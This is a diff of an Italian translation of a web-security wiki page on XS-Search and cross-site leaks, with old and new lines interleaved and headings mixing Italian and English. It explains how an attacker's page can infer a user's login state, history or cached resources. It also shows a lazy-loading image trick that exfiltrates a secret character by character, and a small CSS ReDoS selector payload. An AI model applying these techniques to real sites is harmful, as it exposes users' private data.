- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Riepilogo:** Identificare variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** Identifica le variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento link HTML**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
|
||||
Come tecnica di fuga, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
|
||||
Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento HTML link**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
|
||||
Come tecnica di leak, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
|
||||
|
||||
### Storia CSS
|
||||
### CSS History
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Riepilogo:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
|
||||
- **Esempio di Codice**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Summary:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Secondo [**questo**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), questo non funziona in Chrome headless.
|
||||
@ -721,139 +721,139 @@ Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfrut
|
||||
|
||||
Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:
|
||||
|
||||
- `:visited`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### ContenutoDocument X-Frame Leak
|
||||
### ContentDocument X-Frame Leak
|
||||
|
||||
- **Metodi di Inclusione**: Frames
|
||||
- **Differenza Rilevabile**: Intestazioni
|
||||
- **Ulteriori informazioni**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Riepilogo:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
|
||||
In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza di iframe o altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
|
||||
|
||||
### Rilevamento Download
|
||||
### Download Detection
|
||||
|
||||
- **Metodi di Inclusione**: Frames, Pop-up
|
||||
- **Differenza Rilevabile**: Intestazioni
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||||
- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||||
- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
|
||||
L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli in linea. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
|
||||
|
||||
1. **Monitoraggio della Barra di Download**:
|
||||
- Quando un file viene scaricato nei browser basati su Chromium, appare una barra di download nella parte inferiore della finestra del browser.
|
||||
- Monitorando i cambiamenti nell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che un download è stato avviato.
|
||||
2. **Navigazione al Download con Iframe**:
|
||||
- Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, non causa un evento di navigazione.
|
||||
- Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
|
||||
- Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile controllare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
|
||||
3. **Navigazione al Download senza Iframe**:
|
||||
- Simile alla tecnica dell'iframe, questo metodo implica l'uso di `window.open` anziché un iframe.
|
||||
- Monitorare gli eventi di navigazione nella finestra appena aperta può rivelare se un download di file è stato attivato (nessuna navigazione) o se il contenuto è visualizzato inline (si verifica la navigazione).
|
||||
- Monitorare gli eventi di navigazione nella finestra appena aperta può rivelare se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato in linea (si verifica la navigazione).
|
||||
|
||||
In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
|
||||
|
||||
### Bypass della Cache HTTP Partizionata <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Tempistiche
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **cache partitioning**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata direttamente **richiesta tramite navigazione di livello superiore**. Questo perché la chiave di caching è composta da _eTLD+1_ di livello superiore e _eTLD+1_ di frame.
|
||||
|
||||
Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
|
||||
Oppure si potrebbe semplicemente **inviare alcune fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
|
||||
Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
|
||||
Oppure si potrebbe semplicemente **inviare qualche fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
|
||||
|
||||
### Reindirizzamento Manuale <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Reindirizzamenti
|
||||
- **Ulteriori informazioni**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Riepilogo:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
|
||||
- **Esempio di Codice**:
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Redirects
|
||||
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Summary:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
|
||||
- **Code Example**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Tempistiche
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Riepilogo:** È possibile provare a caricare una risorsa e annullare prima che venga caricata. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che venga completato. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
Usa _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è memorizzata nella cache** e per espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nella cache nuovi contenuti.
|
||||
|
||||
### Inquinamento degli Script
|
||||
### Script Pollution
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML (script)
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Riepilogo:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **rivelare informazioni preziose**.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **rivelare informazioni preziose**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Riepilogo:** Misura il tempo di esecuzione di un web utilizzando i service workers.
|
||||
- **Esempio di Codice**:
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Summary:** Misura il tempo di esecuzione di un web utilizzando i service worker.
|
||||
- **Code Example**:
|
||||
|
||||
Nello scenario dato, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei propri domini, specificamente "attacker.com". Successivamente, l'attaccante apre una nuova finestra nel sito web target dal documento principale e istruisce il **service worker** di avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passo precedente a una pagina gestita dal **service worker**.
|
||||
|
||||
All'arrivo della richiesta avviata nel passo precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel passo due. Questa misurazione è influenzata dalla durata del JavaScript che causa ritardi nel processo di navigazione.
|
||||
All'arrivo della richiesta avviata nel passo precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando effettivamente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel passo due. Questa misurazione è influenzata dalla durata del JavaScript che causa ritardi nel processo di navigazione.
|
||||
|
||||
> [!WARNING]
|
||||
> In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
|
||||
|
||||
### Tempistiche Fetch
|
||||
### Fetch Timing
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
|
||||
### Tempistiche Cross-Window
|
||||
### Cross-Window Timing
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
## Con HTML o Re Iniezione
|
||||
## With HTML or Re Injection
|
||||
|
||||
Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **iniettando contenuto HTML**. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi **iniettare HTML ma non puoi iniettare codice JS**.
|
||||
|
||||
### Markup Pendente
|
||||
### Dangling Markup
|
||||
|
||||
{{#ref}}
|
||||
dangling-markup-html-scriptless-injection/
|
||||
{{#endref}}
|
||||
|
||||
### Caricamento Pigro delle Immagini
|
||||
### Image Lazy Loading
|
||||
|
||||
Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di markup pendente**.\
|
||||
Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un colpo di cache) puoi usare questo trucco.
|
||||
Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di dangling markup**.\
|
||||
Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un colpo di cache), puoi usare questo trucco.
|
||||
|
||||
**Le immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non mentre la pagina si sta caricando:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Pertanto, ciò che puoi fare è **aggiungere molti caratteri spazzatura** (Ad esempio **migliaia di "W"**) per **riempire la pagina web prima del segreto o aggiungere qualcosa come** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Poi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrebbe **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
Poi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrebbe **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **ne impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Un'altra opzione sarebbe utilizzare il **scroll-to-text-fragment** se consentito:
|
||||
|
||||
@ -867,7 +867,7 @@ Quindi la pagina web sarà qualcosa del tipo: **`https://victim.com/post.html#:~
|
||||
|
||||
Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento lento e poi il segreto del bot viene aggiunto.
|
||||
|
||||
Ciò che farà questo testo è far accedere al bot qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
|
||||
Ciò che farà questo testo è far accedere al bot qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine verrà caricata solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
|
||||
|
||||
Un esempio di codice per sfruttare questo: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Se `jQuery(location.hash)` è usato, è possibile scoprire tramite il tempo **se esiste del contenuto HTML**, questo perché se il selettore `main[id='site-main']` non corrisponde, non è necessario controllare il resto dei **selettori**:
|
||||
Se viene utilizzato `jQuery(location.hash)`, è possibile scoprire tramite il tempo **se esiste del contenuto HTML**, questo perché se il selettore `main[id='site-main']` non corrisponde, non è necessario controllare il resto dei **selettori**:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità nei canali laterali**.
|
||||
XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità di canale laterale**.
|
||||
|
||||
I componenti chiave coinvolti in questo attacco includono:
|
||||
|
||||
@ -22,23 +22,23 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
|
||||
- **Codice di Stato**: Distinguere tra **vari codici di stato della risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
|
||||
- **Utilizzo delle API**: Identificare **l'uso delle Web API** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica Web API JavaScript.
|
||||
- **Reindirizzamenti**: Rilevare navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
|
||||
- **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle sotto-risorse della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
|
||||
